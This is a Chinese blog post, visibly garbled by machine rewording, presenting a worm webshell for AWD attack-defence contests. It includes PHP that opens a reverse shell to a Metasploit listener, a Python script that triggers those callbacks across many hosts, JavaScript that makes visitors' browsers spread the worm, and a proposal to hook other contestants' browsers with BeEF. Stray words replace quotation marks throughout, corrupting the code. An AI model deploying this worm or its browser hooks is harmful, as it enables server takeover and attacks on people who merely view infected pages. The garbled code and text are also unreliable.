原创投稿活动:

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

适配msf、前端传播与awd中蠕虫webshell的反渗透思路

msf生成php马基于AWD竞赛的蠕虫webshell三 Docker

历史文章:

蠕虫webshell代码功能详情:https://mp.weixin.qq.com/s/8jrb_q8oysSfC2CC6m13bw

蠕虫webshell复活框架:https://mp.weixin.qq.com/s/R9TDu5QdUnPUtfV-_v0iCw

0x00 适配meterpreter

为了防止其他意外情形比如说有一些意外的情形,某些不支持命令实行函数,如禁用assert,system函数等等,利用msfvemon天生php的马,整合到蠕虫webshell当中,增加一个判断参数\"大众_r\"大众是否要反弹shell。

0x01 紧张代码

elseif(isset($_GET['_r'])){ if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"大众tcp://{$ip}:{$port}\"大众); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\"大众Nlen\"大众, $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b.= fread($s, $len - strlen($b)); break; case 'socket': $b.= socket_read($s, $len - strlen($b)); break; } }0x02 批量反弹shell

每个被传染的页面都可以加_r参数进行访问即可反弹shell到msf

批量访问http://192.168.1.X/.Conf_check.php?_r后反弹shell到msf,meterpreter产生多个会话后,可以批量实行命令。

#!/usr/bin/python # -- coding: UTF-8 -- #writed by 3s_NwGeek import requests,base64 from gevent import monkey from gevent.pool import Pool monkey.patch_all() targets = open(\"大众C:\Users\\3s_NwGeek\Desktop\\target.txt\"大众).read().splitlines() #批量目标 local_bind_ip='192.168.3.1' #上传提交地址 change_url = \"大众http://TARGET-IP/.Conf_check.php?_r=%s\"大众%(base64.b64encode(local_bind_ip)) def main(target): try: changeurl = change_url.replace('TARGET-IP', target) #页面的url head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} requests.get(changeurl, headers=head,timeout=0.1) except Exception as e: print target,' : request was send' pass if __name__ == '__main__': # main() pool = Pool(len(targets)) #批量 pool.map(main, targets)

msfconsole命令: Msf5 exploit(multi/handler)>sessions -c whoami

0x03 前端传播

为了方便更快速掌控,增加了前端传播功能,也便是现场比赛选手浏览者只要打开一个被蠕虫webshell传染的页面会自动循环跳转带参数“_”原生ajax要求进行传播。
成功传染的php文件首先会带?_参数重新访问本页面。
带这个参数访问会返回所有php文件的url,返回格式会带着eviltag标签,方便js提取。
终极会循环随机访问 在比赛举办方和其他军队的流量监控中也不是只有一个人发起这种流量特色了,有一点点的稠浊视听浸染。

0x04 前端代码

//循环 function sleep(delay) { var start = new Date().getTime(); while (new Date().getTime() < start + delay); } function trans() { const rurl = document.getElementsByTagName(\"大众eviltag\"大众)[Math.ceil(Math.random() document.getElementsByTagName(\"大众eviltag\公众).length)].innerHTML + \公众?_\"大众; const rq = new XMLHttpRequest(); rq.open(\"大众get\"大众, rurl, false); rq.send(); } #判断是否带“_”参数 if (window.location.href.indexOf(\"大众?_\"大众) == -1) { location.replace(window.location.href + \公众?_\"大众) } else { while (true) { try { trans() } catch(e) { console.log(e) }; sleep(3000) } }

为了方便,我把它压缩成一行:

function sleep(delay){var start=new Date().getTime();while(new Date().getTime()<start+delay)}function trans(){const rurl=document.getElementsByTagName(\"大众eviltag\"大众)[Math.ceil(Math.random()document.getElementsByTagName(\公众eviltag\"大众).length)].innerHTML+\公众?_\"大众;const rq=new XMLHttpRequest();rq.open(\"大众get\"大众,rurl,false);rq.send()}if(window.location.href.indexOf(\"大众?_\"大众)==-1){location.replace(window.location.href+\"大众?_\公众)}else{while(true){try{trans()}catch(e){console.log(e)};sleep(3000)}}0x05 运用示范

正常访问php页面http://192.168.1.128/login.php的时候,js掌握前端跳转http://192.168.1.128/login.php?_自动加了参数?_访问,带了?_参数访问后,每5秒发起ajax要求其他php页面,做到只要别人访问靶机任何php页面,就可以让他人帮助你进行传播蠕虫webshell。

视频加载中...

好的标题可以得到更多的推举及关注者

0x06 反渗透思路

在蠕虫webshell代码中加入beef框架中的hook.js,结合蠕虫webshell传染本地所有php页面的属性,无论选手们查看哪个页面,只要访问靶机(比赛中肯定要访问一下靶机吧),就可以反攻在场的每位参赛选手。
由于比赛职员大多为安全测试职员,平时事情为了测试漏洞,利用一些旧版的火狐(为了利用旧版hackbar)或者ie,这就增大了我们反攻RCE成功的几率。
在比赛的时候,一旦靶机中了蠕虫webshell,比赛选手们浏览正常的网页的时候,就被我们hook住为所欲为了。
但由于加上前端传播的js代码,实测再加hook.js浏览器很随意马虎卡或者崩溃,大家都是安全职员很随意马虎被创造。
为了用户体验这部分内容没加上去。
不过目前比赛中还没见到规则说不能反渗透或者参赛选手电脑。

0x07 蠕虫webshell框架源码

项目地址 https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/

声明:笔者初衷用于分享与遍及网络知识,若读者因此作出任何危害网络安全行为后果自大,与合天智汇及原作者无关